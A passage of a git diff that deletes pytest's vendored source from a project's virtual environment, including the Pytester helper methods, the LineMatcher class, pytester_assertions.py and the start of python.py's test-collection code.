config.hook.pytest_sessionfinish(session=session, exitstatus=ExitCode.OK) - return res - - def getpathnode(self, path: str | os.PathLike[str]) -> Collector | Item: - """Return the collection node of a file. - - This is like :py:meth:`getnode` but uses :py:meth:`parseconfigure` to - create the (configured) pytest Config instance. - - :param path: - Path to the file. - :returns: - The node. - """ - path = Path(path) - config = self.parseconfigure(path) - session = Session.from_config(config) - x = bestrelpath(session.path, path) - config.hook.pytest_sessionstart(session=session) - res = session.perform_collect([x], genitems=False)[0] - config.hook.pytest_sessionfinish(session=session, exitstatus=ExitCode.OK) - return res - - def genitems(self, colitems: Sequence[Item | Collector]) -> list[Item]: - """Generate all test items from a collection node. - - This recurses into the collection node and returns a list of all the - test items contained within. - - :param colitems: - The collection nodes. - :returns: - The collected items. - """ - session = colitems[0].session - result: list[Item] = [] - for colitem in colitems: - result.extend(session.genitems(colitem)) - return result - - def runitem(self, source: str) -> Any: - """Run the "test_func" Item. - - The calling test instance (class containing the test method) must - provide a ``.getrunner()`` method which should return a runner which - can run the test protocol for a single item, e.g. - ``_pytest.runner.runtestprotocol``. - """ - # used from runner functional tests - item = self.getitem(source) - # the test class where we are called from wants to provide the runner - testclassinstance = self._request.instance - runner = testclassinstance.getrunner() - return runner(item) - - def inline_runsource(self, source: str, *cmdlineargs) -> HookRecorder: - """Run a test module in process using ``pytest.main()``. - - This run writes "source" into a temporary file and runs - ``pytest.main()`` on it, returning a :py:class:`HookRecorder` instance - for the result. - - :param source: The source code of the test module. - :param cmdlineargs: Any extra command line arguments to use. - """ - p = self.makepyfile(source) - values = [*list(cmdlineargs), p] - return self.inline_run(*values) - - def inline_genitems(self, *args) -> tuple[list[Item], HookRecorder]: - """Run ``pytest.main(['--collect-only'])`` in-process. - - Runs the :py:func:`pytest.main` function to run all of pytest inside - the test process itself like :py:meth:`inline_run`, but returns a - tuple of the collected items and a :py:class:`HookRecorder` instance. - """ - rec = self.inline_run("--collect-only", *args) - items = [x.item for x in rec.getcalls("pytest_itemcollected")] - return items, rec - - def inline_run( - self, - *args: str | os.PathLike[str], - plugins=(), - no_reraise_ctrlc: bool = False, - ) -> HookRecorder: - """Run ``pytest.main()`` in-process, returning a HookRecorder. - - Runs the :py:func:`pytest.main` function to run all of pytest inside - the test process itself. This means it can return a - :py:class:`HookRecorder` instance which gives more detailed results - from that run than can be done by matching stdout/stderr from - :py:meth:`runpytest`. - - :param args: - Command line arguments to pass to :py:func:`pytest.main`. - :param plugins: - Extra plugin instances the ``pytest.main()`` instance should use. - :param no_reraise_ctrlc: - Typically we reraise keyboard interrupts from the child run. If - True, the KeyboardInterrupt exception is captured. - """ - # (maybe a cpython bug?) the importlib cache sometimes isn't updated - # properly between file creation and inline_run (especially if imports - # are interspersed with file creation) - importlib.invalidate_caches() - - plugins = list(plugins) - finalizers = [] - try: - # Any sys.module or sys.path changes done while running pytest - # inline should be reverted after the test run completes to avoid - # clashing with later inline tests run within the same pytest test, - # e.g. just because they use matching test module names. - finalizers.append(self.__take_sys_modules_snapshot().restore) - finalizers.append(SysPathsSnapshot().restore) - - # Important note: - # - our tests should not leave any other references/registrations - # laying around other than possibly loaded test modules - # referenced from sys.modules, as nothing will clean those up - # automatically - - rec = [] - - class Collect: - def pytest_configure(x, config: Config) -> None: - rec.append(self.make_hook_recorder(config.pluginmanager)) - - plugins.append(Collect()) - ret = main([str(x) for x in args], plugins=plugins) - if len(rec) == 1: - reprec = rec.pop() - else: - - class reprec: # type: ignore - pass - - reprec.ret = ret - - # Typically we reraise keyboard interrupts from the child run - # because it's our user requesting interruption of the testing. - if ret == ExitCode.INTERRUPTED and not no_reraise_ctrlc: - calls = reprec.getcalls("pytest_keyboard_interrupt") - if calls and calls[-1].excinfo.type == KeyboardInterrupt: - raise KeyboardInterrupt() - return reprec - finally: - for finalizer in finalizers: - finalizer() - - def runpytest_inprocess( - self, *args: str | os.PathLike[str], **kwargs: Any - ) -> RunResult: - """Return result of running pytest in-process, providing a similar - interface to what self.runpytest() provides.""" - syspathinsert = kwargs.pop("syspathinsert", False) - - if syspathinsert: - self.syspathinsert() - now = timing.time() - capture = _get_multicapture("sys") - capture.start_capturing() - try: - try: - reprec = self.inline_run(*args, **kwargs) - except SystemExit as e: - ret = e.args[0] - try: - ret = ExitCode(e.args[0]) - except ValueError: - pass - - class reprec: # type: ignore - ret = ret - - except Exception: - traceback.print_exc() - - class reprec: # type: ignore - ret = ExitCode(3) - - finally: - out, err = capture.readouterr() - capture.stop_capturing() - sys.stdout.write(out) - sys.stderr.write(err) - - assert reprec.ret is not None - res = RunResult( - reprec.ret, out.splitlines(), err.splitlines(), timing.time() - now - ) - res.reprec = reprec # type: ignore - return res - - def runpytest(self, *args: str | os.PathLike[str], **kwargs: Any) -> RunResult: - """Run pytest inline or in a subprocess, depending on the command line - option "--runpytest" and return a :py:class:`~pytest.RunResult`.""" - new_args = self._ensure_basetemp(args) - if self._method == "inprocess": - return self.runpytest_inprocess(*new_args, **kwargs) - elif self._method == "subprocess": - return self.runpytest_subprocess(*new_args, **kwargs) - raise RuntimeError(f"Unrecognized runpytest option: {self._method}") - - def _ensure_basetemp( - self, args: Sequence[str | os.PathLike[str]] - ) -> list[str | os.PathLike[str]]: - new_args = list(args) - for x in new_args: - if str(x).startswith("--basetemp"): - break - else: - new_args.append( - "--basetemp={}".format(self.path.parent.joinpath("basetemp")) - ) - return new_args - - def parseconfig(self, *args: str | os.PathLike[str]) -> Config: - """Return a new pytest :class:`pytest.Config` instance from given - commandline args. - - This invokes the pytest bootstrapping code in _pytest.config to create a - new :py:class:`pytest.PytestPluginManager` and call the - :hook:`pytest_cmdline_parse` hook to create a new :class:`pytest.Config` - instance. - - If :attr:`plugins` has been populated they should be plugin modules - to be registered with the plugin manager. - """ - import _pytest.config - - new_args = self._ensure_basetemp(args) - new_args = [str(x) for x in new_args] - - config = _pytest.config._prepareconfig(new_args, self.plugins) # type: ignore[arg-type] - # we don't know what the test will do with this half-setup config - # object and thus we make sure it gets unconfigured properly in any - # case (otherwise capturing could still be active, for example) - self._request.addfinalizer(config._ensure_unconfigure) - return config - - def parseconfigure(self, *args: str | os.PathLike[str]) -> Config: - """Return a new pytest configured Config instance. - - Returns a new :py:class:`pytest.Config` instance like - :py:meth:`parseconfig`, but also calls the :hook:`pytest_configure` - hook. - """ - config = self.parseconfig(*args) - config._do_configure() - return config - - def getitem( - self, source: str | os.PathLike[str], funcname: str = "test_func" - ) -> Item: - """Return the test item for a test function. - - Writes the source to a python file and runs pytest's collection on - the resulting module, returning the test item for the requested - function name. - - :param source: - The module source. - :param funcname: - The name of the test function for which to return a test item. - :returns: - The test item. - """ - items = self.getitems(source) - for item in items: - if item.name == funcname: - return item - assert 0, f"{funcname!r} item not found in module:\n{source}\nitems: {items}" - - def getitems(self, source: str | os.PathLike[str]) -> list[Item]: - """Return all test items collected from the module. - - Writes the source to a Python file and runs pytest's collection on - the resulting module, returning all test items contained within. - """ - modcol = self.getmodulecol(source) - return self.genitems([modcol]) - - def getmodulecol( - self, - source: str | os.PathLike[str], - configargs=(), - *, - withinit: bool = False, - ): - """Return the module collection node for ``source``. - - Writes ``source`` to a file using :py:meth:`makepyfile` and then - runs the pytest collection on it, returning the collection node for the - test module. - - :param source: - The source code of the module to collect. - - :param configargs: - Any extra arguments to pass to :py:meth:`parseconfigure`. - - :param withinit: - Whether to also write an ``__init__.py`` file to the same - directory to ensure it is a package. - """ - if isinstance(source, os.PathLike): - path = self.path.joinpath(source) - assert not withinit, "not supported for paths" - else: - kw = {self._name: str(source)} - path = self.makepyfile(**kw) - if withinit: - self.makepyfile(__init__="#") - self.config = config = self.parseconfigure(path, *configargs) - return self.getnode(config, path) - - def collect_by_name(self, modcol: Collector, name: str) -> Item | Collector | None: - """Return the collection node for name from the module collection. - - Searches a module collection node for a collection node matching the - given name. - - :param modcol: A module collection node; see :py:meth:`getmodulecol`. - :param name: The name of the node to return. - """ - if modcol not in self._mod_collections: - self._mod_collections[modcol] = list(modcol.collect()) - for colitem in self._mod_collections[modcol]: - if colitem.name == name: - return colitem - return None - - def popen( - self, - cmdargs: Sequence[str | os.PathLike[str]], - stdout: int | TextIO = subprocess.PIPE, - stderr: int | TextIO = subprocess.PIPE, - stdin: NotSetType | bytes | IO[Any] | int = CLOSE_STDIN, - **kw, - ): - """Invoke :py:class:`subprocess.Popen`. - - Calls :py:class:`subprocess.Popen` making sure the current working - directory is in ``PYTHONPATH``. - - You probably want to use :py:meth:`run` instead. - """ - env = os.environ.copy() - env["PYTHONPATH"] = os.pathsep.join( - filter(None, [os.getcwd(), env.get("PYTHONPATH", "")]) - ) - kw["env"] = env - - if stdin is self.CLOSE_STDIN: - kw["stdin"] = subprocess.PIPE - elif isinstance(stdin, bytes): - kw["stdin"] = subprocess.PIPE - else: - kw["stdin"] = stdin - - popen = subprocess.Popen(cmdargs, stdout=stdout, stderr=stderr, **kw) - if stdin is self.CLOSE_STDIN: - assert popen.stdin is not None - popen.stdin.close() - elif isinstance(stdin, bytes): - assert popen.stdin is not None - popen.stdin.write(stdin) - - return popen - - def run( - self, - *cmdargs: str | os.PathLike[str], - timeout: float | None = None, - stdin: NotSetType | bytes | IO[Any] | int = CLOSE_STDIN, - ) -> RunResult: - """Run a command with arguments. - - Run a process using :py:class:`subprocess.Popen` saving the stdout and - stderr. - - :param cmdargs: - The sequence of arguments to pass to :py:class:`subprocess.Popen`, - with path-like objects being converted to :py:class:`str` - automatically. - :param timeout: - The period in seconds after which to timeout and raise - :py:class:`Pytester.TimeoutExpired`. - :param stdin: - Optional standard input. - - - If it is ``CLOSE_STDIN`` (Default), then this method calls - :py:class:`subprocess.Popen` with ``stdin=subprocess.PIPE``, and - the standard input is closed immediately after the new command is - started. - - - If it is of type :py:class:`bytes`, these bytes are sent to the - standard input of the command. - - - Otherwise, it is passed through to :py:class:`subprocess.Popen`. - For further information in this case, consult the document of the - ``stdin`` parameter in :py:class:`subprocess.Popen`. - :type stdin: _pytest.compat.NotSetType | bytes | IO[Any] | int - :returns: - The result. - - """ - __tracebackhide__ = True - - cmdargs = tuple(os.fspath(arg) for arg in cmdargs) - p1 = self.path.joinpath("stdout") - p2 = self.path.joinpath("stderr") - print("running:", *cmdargs) - print(" in:", Path.cwd()) - - with p1.open("w", encoding="utf8") as f1, p2.open("w", encoding="utf8") as f2: - now = timing.time() - popen = self.popen( - cmdargs, - stdin=stdin, - stdout=f1, - stderr=f2, - close_fds=(sys.platform != "win32"), - ) - if popen.stdin is not None: - popen.stdin.close() - - def handle_timeout() -> None: - __tracebackhide__ = True - - timeout_message = f"{timeout} second timeout expired running: {cmdargs}" - - popen.kill() - popen.wait() - raise self.TimeoutExpired(timeout_message) - - if timeout is None: - ret = popen.wait() - else: - try: - ret = popen.wait(timeout) - except subprocess.TimeoutExpired: - handle_timeout() - - with p1.open(encoding="utf8") as f1, p2.open(encoding="utf8") as f2: - out = f1.read().splitlines() - err = f2.read().splitlines() - - self._dump_lines(out, sys.stdout) - self._dump_lines(err, sys.stderr) - - with contextlib.suppress(ValueError): - ret = ExitCode(ret) - return RunResult(ret, out, err, timing.time() - now) - - def _dump_lines(self, lines, fp): - try: - for line in lines: - print(line, file=fp) - except UnicodeEncodeError: - print(f"couldn't print to {fp} because of encoding") - - def _getpytestargs(self) -> tuple[str, ...]: - return sys.executable, "-mpytest" - - def runpython(self, script: os.PathLike[str]) -> RunResult: - """Run a python script using sys.executable as interpreter.""" - return self.run(sys.executable, script) - - def runpython_c(self, command: str) -> RunResult: - """Run ``python -c "command"``.""" - return self.run(sys.executable, "-c", command) - - def runpytest_subprocess( - self, *args: str | os.PathLike[str], timeout: float | None = None - ) -> RunResult: - """Run pytest as a subprocess with given arguments. - - Any plugins added to the :py:attr:`plugins` list will be added using the - ``-p`` command line option. Additionally ``--basetemp`` is used to put - any temporary files and directories in a numbered directory prefixed - with "runpytest-" to not conflict with the normal numbered pytest - location for temporary files and directories. - - :param args: - The sequence of arguments to pass to the pytest subprocess. - :param timeout: - The period in seconds after which to timeout and raise - :py:class:`Pytester.TimeoutExpired`. - :returns: - The result. - """ - __tracebackhide__ = True - p = make_numbered_dir(root=self.path, prefix="runpytest-", mode=0o700) - args = (f"--basetemp={p}", *args) - plugins = [x for x in self.plugins if isinstance(x, str)] - if plugins: - args = ("-p", plugins[0], *args) - args = self._getpytestargs() + args - return self.run(*args, timeout=timeout) - - def spawn_pytest(self, string: str, expect_timeout: float = 10.0) -> pexpect.spawn: - """Run pytest using pexpect. - - This makes sure to use the right pytest and sets up the temporary - directory locations. - - The pexpect child is returned. - """ - basetemp = self.path / "temp-pexpect" - basetemp.mkdir(mode=0o700) - invoke = " ".join(map(str, self._getpytestargs())) - cmd = f"{invoke} --basetemp={basetemp} {string}" - return self.spawn(cmd, expect_timeout=expect_timeout) - - def spawn(self, cmd: str, expect_timeout: float = 10.0) -> pexpect.spawn: - """Run a command using pexpect. - - The pexpect child is returned. - """ - pexpect = importorskip("pexpect", "3.0") - if hasattr(sys, "pypy_version_info") and "64" in platform.machine(): - skip("pypy-64 bit not supported") - if not hasattr(pexpect, "spawn"): - skip("pexpect.spawn not available") - logfile = self.path.joinpath("spawn.out").open("wb") - - child = pexpect.spawn(cmd, logfile=logfile, timeout=expect_timeout) - self._request.addfinalizer(logfile.close) - return child - - -class LineComp: - def __init__(self) -> None: - self.stringio = StringIO() - """:class:`python:io.StringIO()` instance used for input.""" - - def assert_contains_lines(self, lines2: Sequence[str]) -> None: - """Assert that ``lines2`` are contained (linearly) in :attr:`stringio`'s value. - - Lines are matched using :func:`LineMatcher.fnmatch_lines `. - """ - __tracebackhide__ = True - val = self.stringio.getvalue() - self.stringio.truncate(0) - self.stringio.seek(0) - lines1 = val.split("\n") - LineMatcher(lines1).fnmatch_lines(lines2) - - -class LineMatcher: - """Flexible matching of text. - - This is a convenience class to test large texts like the output of - commands. - - The constructor takes a list of lines without their trailing newlines, i.e. - ``text.splitlines()``. - """ - - def __init__(self, lines: list[str]) -> None: - self.lines = lines - self._log_output: list[str] = [] - - def __str__(self) -> str: - """Return the entire original text. - - .. versionadded:: 6.2 - You can use :meth:`str` in older versions. - """ - return "\n".join(self.lines) - - def _getlines(self, lines2: str | Sequence[str] | Source) -> Sequence[str]: - if isinstance(lines2, str): - lines2 = Source(lines2) - if isinstance(lines2, Source): - lines2 = lines2.strip().lines - return lines2 - - def fnmatch_lines_random(self, lines2: Sequence[str]) -> None: - """Check lines exist in the output in any order (using :func:`python:fnmatch.fnmatch`).""" - __tracebackhide__ = True - self._match_lines_random(lines2, fnmatch) - - def re_match_lines_random(self, lines2: Sequence[str]) -> None: - """Check lines exist in the output in any order (using :func:`python:re.match`).""" - __tracebackhide__ = True - self._match_lines_random(lines2, lambda name, pat: bool(re.match(pat, name))) - - def _match_lines_random( - self, lines2: Sequence[str], match_func: Callable[[str, str], bool] - ) -> None: - __tracebackhide__ = True - lines2 = self._getlines(lines2) - for line in lines2: - for x in self.lines: - if line == x or match_func(x, line): - self._log("matched: ", repr(line)) - break - else: - msg = f"line {line!r} not found in output" - self._log(msg) - self._fail(msg) - - def get_lines_after(self, fnline: str) -> Sequence[str]: - """Return all lines following the given line in the text. - - The given line can contain glob wildcards. - """ - for i, line in enumerate(self.lines): - if fnline == line or fnmatch(line, fnline): - return self.lines[i + 1 :] - raise ValueError(f"line {fnline!r} not found in output") - - def _log(self, *args) -> None: - self._log_output.append(" ".join(str(x) for x in args)) - - @property - def _log_text(self) -> str: - return "\n".join(self._log_output) - - def fnmatch_lines( - self, lines2: Sequence[str], *, consecutive: bool = False - ) -> None: - """Check lines exist in the output (using :func:`python:fnmatch.fnmatch`). - - The argument is a list of lines which have to match and can use glob - wildcards. If they do not match a pytest.fail() is called. The - matches and non-matches are also shown as part of the error message. - - :param lines2: String patterns to match. - :param consecutive: Match lines consecutively? - """ - __tracebackhide__ = True - self._match_lines(lines2, fnmatch, "fnmatch", consecutive=consecutive) - - def re_match_lines( - self, lines2: Sequence[str], *, consecutive: bool = False - ) -> None: - """Check lines exist in the output (using :func:`python:re.match`). - - The argument is a list of lines which have to match using ``re.match``. - If they do not match a pytest.fail() is called. - - The matches and non-matches are also shown as part of the error message. - - :param lines2: string patterns to match. - :param consecutive: match lines consecutively? - """ - __tracebackhide__ = True - self._match_lines( - lines2, - lambda name, pat: bool(re.match(pat, name)), - "re.match", - consecutive=consecutive, - ) - - def _match_lines( - self, - lines2: Sequence[str], - match_func: Callable[[str, str], bool], - match_nickname: str, - *, - consecutive: bool = False, - ) -> None: - """Underlying implementation of ``fnmatch_lines`` and ``re_match_lines``. - - :param Sequence[str] lines2: - List of string patterns to match. The actual format depends on - ``match_func``. - :param match_func: - A callable ``match_func(line, pattern)`` where line is the - captured line from stdout/stderr and pattern is the matching - pattern. - :param str match_nickname: - The nickname for the match function that will be logged to stdout - when a match occurs. - :param consecutive: - Match lines consecutively? - """ - if not isinstance(lines2, collections.abc.Sequence): - raise TypeError(f"invalid type for lines2: {type(lines2).__name__}") - lines2 = self._getlines(lines2) - lines1 = self.lines[:] - extralines = [] - __tracebackhide__ = True - wnick = len(match_nickname) + 1 - started = False - for line in lines2: - nomatchprinted = False - while lines1: - nextline = lines1.pop(0) - if line == nextline: - self._log("exact match:", repr(line)) - started = True - break - elif match_func(nextline, line): - self._log(f"{match_nickname}:", repr(line)) - self._log( - "{:>{width}}".format("with:", width=wnick), repr(nextline) - ) - started = True - break - else: - if consecutive and started: - msg = f"no consecutive match: {line!r}" - self._log(msg) - self._log( - "{:>{width}}".format("with:", width=wnick), repr(nextline) - ) - self._fail(msg) - if not nomatchprinted: - self._log( - "{:>{width}}".format("nomatch:", width=wnick), repr(line) - ) - nomatchprinted = True - self._log("{:>{width}}".format("and:", width=wnick), repr(nextline)) - extralines.append(nextline) - else: - msg = f"remains unmatched: {line!r}" - self._log(msg) - self._fail(msg) - self._log_output = [] - - def no_fnmatch_line(self, pat: str) -> None: - """Ensure captured lines do not match the given pattern, using ``fnmatch.fnmatch``. - - :param str pat: The pattern to match lines. - """ - __tracebackhide__ = True - self._no_match_line(pat, fnmatch, "fnmatch") - - def no_re_match_line(self, pat: str) -> None: - """Ensure captured lines do not match the given pattern, using ``re.match``. - - :param str pat: The regular expression to match lines. - """ - __tracebackhide__ = True - self._no_match_line( - pat, lambda name, pat: bool(re.match(pat, name)), "re.match" - ) - - def _no_match_line( - self, pat: str, match_func: Callable[[str, str], bool], match_nickname: str - ) -> None: - """Ensure captured lines does not have a the given pattern, using ``fnmatch.fnmatch``. - - :param str pat: The pattern to match lines. - """ - __tracebackhide__ = True - nomatch_printed = False - wnick = len(match_nickname) + 1 - for line in self.lines: - if match_func(line, pat): - msg = f"{match_nickname}: {pat!r}" - self._log(msg) - self._log("{:>{width}}".format("with:", width=wnick), repr(line)) - self._fail(msg) - else: - if not nomatch_printed: - self._log("{:>{width}}".format("nomatch:", width=wnick), repr(pat)) - nomatch_printed = True - self._log("{:>{width}}".format("and:", width=wnick), repr(line)) - self._log_output = [] - - def _fail(self, msg: str) -> None: - __tracebackhide__ = True - log_text = self._log_text - self._log_output = [] - fail(log_text) - - def str(self) -> str: - """Return the entire original text.""" - return str(self) diff --git a/backend/venv/Lib/site-packages/_pytest/pytester_assertions.py b/backend/venv/Lib/site-packages/_pytest/pytester_assertions.py deleted file mode 100644 index d543798f..00000000 --- a/backend/venv/Lib/site-packages/_pytest/pytester_assertions.py +++ /dev/null @@ -1,74 +0,0 @@ -"""Helper plugin for pytester; should not be loaded on its own.""" - -# This plugin contains assertions used by pytester. pytester cannot -# contain them itself, since it is imported by the `pytest` module, -# hence cannot be subject to assertion rewriting, which requires a -# module to not be already imported. -from __future__ import annotations - -from typing import Sequence - -from _pytest.reports import CollectReport -from _pytest.reports import TestReport - - -def assertoutcome( - outcomes: tuple[ - Sequence[TestReport], - Sequence[CollectReport | TestReport], - Sequence[CollectReport | TestReport], - ], - passed: int = 0, - skipped: int = 0, - failed: int = 0, -) -> None: - __tracebackhide__ = True - - realpassed, realskipped, realfailed = outcomes - obtained = { - "passed": len(realpassed), - "skipped": len(realskipped), - "failed": len(realfailed), - } - expected = {"passed": passed, "skipped": skipped, "failed": failed} - assert obtained == expected, outcomes - - -def assert_outcomes( - outcomes: dict[str, int], - passed: int = 0, - skipped: int = 0, - failed: int = 0, - errors: int = 0, - xpassed: int = 0, - xfailed: int = 0, - warnings: int | None = None, - deselected: int | None = None, -) -> None: - """Assert that the specified outcomes appear with the respective - numbers (0 means it didn't occur) in the text output from a test run.""" - __tracebackhide__ = True - - obtained = { - "passed": outcomes.get("passed", 0), - "skipped": outcomes.get("skipped", 0), - "failed": outcomes.get("failed", 0), - "errors": outcomes.get("errors", 0), - "xpassed": outcomes.get("xpassed", 0), - "xfailed": outcomes.get("xfailed", 0), - } - expected = { - "passed": passed, - "skipped": skipped, - "failed": failed, - "errors": errors, - "xpassed": xpassed, - "xfailed": xfailed, - } - if warnings is not None: - obtained["warnings"] = outcomes.get("warnings", 0) - expected["warnings"] = warnings - if deselected is not None: - obtained["deselected"] = outcomes.get("deselected", 0) - expected["deselected"] = deselected - assert obtained == expected diff --git a/backend/venv/Lib/site-packages/_pytest/python.py b/backend/venv/Lib/site-packages/_pytest/python.py deleted file mode 100644 index 9182ce7d..00000000 --- a/backend/venv/Lib/site-packages/_pytest/python.py +++ /dev/null @@ -1,1679 +0,0 @@ -# mypy: allow-untyped-defs -"""Python test discovery, setup and run of test functions.""" - -from __future__ import annotations - -import abc -from collections import Counter -from collections import defaultdict -import dataclasses -import enum -import fnmatch -from functools import partial -import inspect -import itertools -import os -from pathlib import Path -import types -from typing import Any -from typing import Callable -from typing import Dict -from typing import final -from typing import Generator -from typing import Iterable -from typing import Iterator -from typing import Literal -from typing import Mapping -from typing import Pattern -from typing import Sequence -from typing import TYPE_CHECKING -import warnings - -import _pytest -from _pytest import fixtures -from _pytest import nodes -from _pytest._code import filter_traceback -from _pytest._code import getfslineno -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import TerminalRepr -from _pytest._code.code import Traceback -from _pytest._io.saferepr import saferepr -from _pytest.compat import ascii_escaped -from _pytest.compat import get_default_arg_names -from _pytest.compat import get_real_func -from _pytest.compat import getimfunc -from _pytest.compat import is_async_function -from _pytest.compat import is_generator -from _pytest.compat import LEGACY_PATH -from _pytest.compat import NOTSET -from _pytest.compat import safe_getattr -from _pytest.compat import safe_isclass -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import FixtureDef -from _pytest.fixtures import FixtureRequest -from _pytest.fixtures import FuncFixtureInfo -from _pytest.fixtures import get_scope_node -from _pytest.main import Session -from _pytest.mark import MARK_GEN -from _pytest.mark import ParameterSet -from _pytest.mark.structures import get_unpacked_marks -from _pytest.mark.structures import Mark -from _pytest.mark.structures import MarkDecorator -from _pytest.mark.structures import normalize_mark_list -from _pytest.outcomes import fail -from _pytest.outcomes import skip -from _pytest.pathlib import fnmatch_ex -from _pytest.pathlib import import_path -from _pytest.pathlib import ImportPathMismatchError -from _pytest.pathlib import scandir -from _pytest.scope import _ScopeName -from _pytest.scope import Scope -from _pytest.stash import StashKey -from _pytest.warning_types import PytestCollectionWarning -from _pytest.warning_types import PytestReturnNotNoneWarning -from _pytest.warning_types import PytestUnhandledCoroutineWarning - - -if TYPE_CHECKING: - from typing import Self - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "python_files", - type="args", - # NOTE: default is also used in AssertionRewritingHook. - default=["test_*.py", "*_test.py"], - help="Glob-style file patterns for Python test module discovery", - ) - parser.addini( - "python_classes", - type="args", - default=["Test"], - help="Prefixes or glob names for Python test class discovery", - ) - parser.addini( - "python_functions", - type="args", - default=["test"], - help="Prefixes or glob names for Python test function and method discovery", - ) - parser.addini( - "disable_test_id_escaping_and_forfeit_all_rights_to_community_support", - type="bool", - default=False, - help="Disable string escape non-ASCII characters, might cause unwanted " - "side effects(use at your own risk)", - ) - - -def pytest_generate_tests(metafunc: Metafunc) -> None: - for marker in metafunc.definition.iter_markers(name="parametrize"): - metafunc.parametrize(*marker.args, **marker.kwargs, _param_mark=marker) - - -def pytest_configure(config: Config) -> None: - config.addinivalue_line( - "markers", - "parametrize(argnames, argvalues): call a test function multiple " - "times passing in different arguments in turn. argvalues generally " - "needs to be a list of values if argnames specifies only one name " - "or a list of tuples of values if argnames specifies multiple names. " - "Example: @parametrize('arg1', [1,2]) would lead to two calls of the " - "decorated test function, one with arg1=1 and another with arg1=2." - "see https://docs.pytest.org/en/stable/how-to/parametrize.html for more info " - "and examples.", - ) - config.addinivalue_line( - "markers", - "usefixtures(fixturename1, fixturename2, ...): mark tests as needing " - "all of the specified fixtures. see " - "https://docs.pytest.org/en/stable/explanation/fixtures.html#usefixtures ", - ) - - -def async_warn_and_skip(nodeid: str) -> None: - msg = "async def functions are not natively supported and have been skipped.\n" - msg += ( - "You need to install a suitable plugin for your async framework, for example:\n" - ) - msg += " - anyio\n" - msg += " - pytest-asyncio\n" - msg += " - pytest-tornasync\n" - msg += " - pytest-trio\n" - msg += " - pytest-twisted" - warnings.warn(PytestUnhandledCoroutineWarning(msg.format(nodeid))) - skip(reason="async def function and no async plugin installed (see warnings)") - - -@hookimpl(trylast=True) -def pytest_pyfunc_call(pyfuncitem: Function) -> object | None: - testfunction = pyfuncitem.obj - if is_async_function(testfunction): - async_warn_and_skip(pyfuncitem.nodeid) - funcargs = pyfuncitem.funcargs - testargs = {arg: funcargs[arg] for arg in pyfuncitem._fixtureinfo.argnames} - result = testfunction(**testargs) - if hasattr(result, "__await__") or hasattr(result, "__aiter__"): - async_warn_and_skip(pyfuncitem.nodeid) - elif result is not None: - warnings.warn( - PytestReturnNotNoneWarning( - f"Expected None, but {pyfuncitem.nodeid} returned {result!r}, which will be an error in a " - "future version of pytest. Did you mean to use `assert` instead of `return`?" - ) - ) - return True - - -def pytest_collect_directory( - path: Path, parent: nodes.Collector -) -> nodes.Collector | None: - pkginit = path / "__init__.py" - try: - has_pkginit = pkginit.is_file() - except PermissionError: - # See https://github.com/pytest-dev/pytest/issues/12120#issuecomment-2106349096. - return None - if has_pkginit: - return Package.from_parent(parent, path=path) - return None - - -def pytest_collect_file(file_path: Path, parent: nodes.Collector) -> Module | None: - if file_path.suffix == ".py": - if not parent.session.isinitpath(file_path): - if not path_matches_patterns( - file_path, parent.config.getini("python_files") - ): - return None - ihook = parent.session.gethookproxy(file_path) - module: Module = ihook.pytest_pycollect_makemodule( - module_path=file_path, parent=parent - ) - return module - return None - - -def path_matches_patterns(path: Path, patterns: Iterable[str]) -> bool: - """Return whether path matches any of the patterns in the list of globs given.""" - return any(fnmatch_ex(pattern, path) for pattern in patterns) - - -def pytest_pycollect_makemodule(module_path: Path, parent) -> Module: - return Module.from_parent(parent, path=module_path) - - -@hookimpl(trylast=True) -def pytest_pycollect_makeitem( - collector: Module | Class, name: str, obj: object -) -> None | nodes.Item | nodes.Collector | list[nodes.Item | nodes.Collector]: - assert isinstance(collector, (Class, Module)), type(collector) - # Nothing was collected elsewhere, let's do it here. - if safe_isclass(obj): - if collector.istestclass(obj, name): - return Class.from_parent(collector, name=name, obj=obj) - elif collector.istestfunction(obj, name): - # mock seems to store unbound methods (issue473), normalize it. - obj = getattr(obj, "__func__", obj) - # We need to try and unwrap the function if it's a functools.partial - # or a functools.wrapped. - # We mustn't if it's been wrapped with mock.patch (python 2 only). - if not (inspect.isfunction(obj) or inspect.isfunction(get_real_func(obj))): - filename, lineno = getfslineno(obj) - warnings.warn_explicit( - message=PytestCollectionWarning( - f"cannot collect {name!r} because it is not a function." - ), - category=None, - filename=str(filename), - lineno=lineno + 1, - ) - elif getattr(obj, "__test__", True): - if is_generator(obj): - res = Function.from_parent(collector, name=name) - reason = ( - f"yield tests were removed in pytest 4.0 - {name} will be ignored" - ) - res.add_marker(MARK_GEN.xfail(run=False, reason=reason)) - res.warn(PytestCollectionWarning(reason)) - return res - else: - return list(collector._genfunctions(name, obj)) - return None - - -class PyobjMixin(nodes.Node): - """this mix-in inherits from Node to carry over the typing information - - as its intended to always mix in before a node - its position in the mro is unaffected""" - - _ALLOW_MARKERS = True - - @property - def module(self): - """Python module object this node was collected from (can be None).""" - node = self.getparent(Module) - return node.obj if node is not None else None - - @property - def cls(self): - """Python class object this node was collected from (can be None).""" - node = self.getparent(Class) - return node.obj if node is not None else None - - @property - def instance(self): - """Python instance object the function is bound to. - - Returns None if not a test method, e.g. for a standalone test function, - a class or a module. - """ - # Overridden by Function. - return None - - @property - def obj(self): - """Underlying Python object.""" - obj = getattr(self, "_obj", None) - if obj is None: - self._obj = obj = self._getobj() - # XXX evil hack - # used to avoid Function marker duplication - if self._ALLOW_MARKERS: - self.own_markers.extend(get_unpacked_marks(self.obj)) - # This assumes that `obj` is called before there is a chance - # to add custom keys to `self.keywords`, so no fear of overriding. - self.keywords.update((mark.name, mark) for mark in self.own_markers) - return obj - - @obj.setter - def obj(self, value): - self._obj = value - - def _getobj(self): - """Get the underlying Python object. May be overwritten by subclasses.""" - # TODO: Improve the type of `parent` such that assert/ignore aren't needed. - assert self.parent is not None - obj = self.parent.obj # type: ignore[attr-defined] - return getattr(obj, self.name) - - def getmodpath(self, stopatmodule: bool = True, includemodule: bool = False) -> str: - """Return Python path relative to the containing module.""" - parts = [] - for node in self.iter_parents(): - name = node.name - if isinstance(node, Module): - name = os.path.splitext(name)[0] - if stopatmodule: - if includemodule: - parts.append(name) - break - parts.append(name) - parts.reverse() - return ".".join(parts) - - def reportinfo(self) -> tuple[os.PathLike[str] | str, int | None, str]: - # XXX caching? - path, lineno = getfslineno(self.obj) - modpath = 